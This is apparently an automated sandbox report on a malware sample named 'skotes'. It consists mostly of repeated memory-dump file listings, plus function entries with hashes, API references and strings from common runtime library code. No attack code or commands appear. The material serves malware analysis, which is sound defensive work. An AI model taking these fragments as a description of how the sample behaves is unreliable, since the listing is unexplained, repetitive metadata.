Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: 6b98ec42d259d51b560812b746282b7e752ab339912698a9f8efb960a081f93b
Instruction ID: 3bcdb72186d2df5a11c5a8a19f5caa6fabfe4b67e893c19cdf948a205d0ef604
Opcode Fuzzy Hash: 6b98ec42d259d51b560812b746282b7e752ab339912698a9f8efb960a081f93b
Instruction Fuzzy Hash: 5281A4B0A11B56BBD708EF74C841BE9FAA8BF49704F10421BF528D7281CBB4A524CBD1

Function 009EEE5F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 009EEEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 009EEEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 009EEEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 009EEF0F
Concurrency::Context::Block.LIBCONCRT ref: 009EEF31

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: 0a02ac6d21b98ed2bc55e0a7828a6dc1b1cd07a0994ba95328082192f3c87214
Instruction ID: 9ded73c2919bc3e56f9ebca2d7ce4163ca1d02ab1347b8972ffb9aaea2c8c211
Opcode Fuzzy Hash: 0a02ac6d21b98ed2bc55e0a7828a6dc1b1cd07a0994ba95328082192f3c87214
Instruction Fuzzy Hash: BB217F70C10299CADF26DFA5C8557EEB7F4BF14320F20092EE151A61D2E7B18E44CB51

Function 00A01B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00A01B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00A01B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00A01C2A

Strings

switchState, xrefs: 00A01B5E
pContext, xrefs: 00A01C22

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: a81209eea992e913616a401aa646df73c3ada4a28b77494f58f66ec7a37b479c
Instruction ID: 606c7387f24a14aec8602ea7f123be8b49aec52e4fd2f22fbfd161453f41aa4d
Opcode Fuzzy Hash: a81209eea992e913616a401aa646df73c3ada4a28b77494f58f66ec7a37b479c
Instruction Fuzzy Hash: 0F31A535A00218ABCF15EF68E991EEDB3B5BF45314F204569E911972C2EB70EE02CB90

Function 00A0727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00A072BE

Strings

.bat, xrefs: 00A072ED
.com, xrefs: 00A072FE
.exe, xrefs: 00A072CB
.cmd, xrefs: 00A072DC

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 6a3827f9f3985a8179d1e1734e49e85c56636f88ff2e3cceee31233b85ba72d4
Instruction ID: 47ec3c70ded9e6db498f2952947906f410dde2c983887c33097388c10d255d37
Opcode Fuzzy Hash: 6a3827f9f3985a8179d1e1734e49e85c56636f88ff2e3cceee31233b85ba72d4
Instruction Fuzzy Hash: 79010827A1862A35F6241118BF0277B17889BC6BB4716042AFC54FB1C1DF64EC4221E5

Function 009EFA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 009EFB06

Strings

kernel32.dll, xrefs: 009EFA7A
SetThreadGroupAffinity, xrefs: 009EFA87
GetCurrentProcessorNumberEx, xrefs: 009EFABE
GetThreadGroupAffinity, xrefs: 009EFA93

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
